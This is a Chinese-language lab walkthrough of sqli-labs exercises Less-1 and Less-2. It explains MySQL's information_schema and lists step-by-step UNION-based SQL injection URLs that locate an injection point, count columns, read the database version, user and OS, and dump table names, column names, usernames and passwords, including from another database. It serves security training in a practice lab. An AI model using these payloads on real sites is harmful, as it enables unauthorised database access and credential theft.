知识点
1、必要知识:在MySql5.0以上版本中,MySQL存在一个自带数据库名为information_schema,他是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过查询他获取指定数据库下面的表名或列名信息
2、数据库中符号”.“代表下一级,如information_schema.tables表示数据库下information_schema下的所有表
3、information_schema.schemata 记录所有数据库名信息的表
information_schema.tables 记录所有表名信息的表
information_schema.columns 记录所有列名信息的表
table_name 表名
column_name 列名
table_schema数据库名
Less1 (字符型注入)
1.寻找注入点
判断是否存在注入点:
①SQL语句在定义时有可控变量,并且代入数据库查询;
②变量没有进行过滤或者过滤不严谨
test1.com/sqli-labs/Less-1/?id=1' and 1=1 --+ 页面显示正常 ’表示字符,--+放在最后注释多余部分
test1.com/sqli-labs/Less-1/?id=1' and 1=2 --+ 页面显示异常
以上得出该界面存在注入点
2.报错猜解列名数量(字段数)
test1.com/sqli-labs/Less-1/?id=-1' order by 4 页面报错显示 id=-1是为了让页面能显示数字
由此得出列名数量为3
通过 union 联合查询出信息,图中返回的数字为2,3,表示select 1,2,3中,2,3可以进行替换
http://test1.com/sqli-labs/Less-1/?id=-1' union select1,2,3--+
3.信息收集:
version() 数据库版本:test1.com/sqli-labs/Less-1/?id=-1' union select 1,version(),3 --+
database() 数据库名字: test1.com/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+
user() 数据库用户:test1.com/sqli-labs/Less-1/?id=-1' union select 1,user(),3 --+
@@version_compile_os
操作系统:test1.com/sqli-labs/Less-1/?id=-1' union select 1,@@version_compile_os,3 --+
综上可知,数据库版本:5.7.26
数据库名字:security
数据库用户:root@localhost
操作系统:Win 32
4.SQL语句注入
找到对应数据库下的表名
test1.com/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
group_concat(table),表示显示所有的表
找到users名下的列名
test1.com/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name ) from information_schema.columns where table_name ='users' --+
找到账号
test1.com/sqli-labs/Less-1/?id=-1' union select 1,2,username from security.users --+
找到密码
test1.com/sqli-labs/Less-1/?id=-1' union select 1,2,password from security.users --+
Less2(跨库注入)
前提:注入点用户为高级权限
mysql 高权限用户为root
SQL server 数据库最高权限为Sysadmin
?id=-1 union select 1,2,user() --+
查出数据库用户为root 为高权限用户
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查出所有的数据库
查询pikachu下的所有表名
?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu' --+
查询pikachu下的user表下的所有字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu' --+
查询pikachu下user表中的username和password数据
?id=-1 union select 1,username,password from pikachu.users --+
由上得到用户名和密码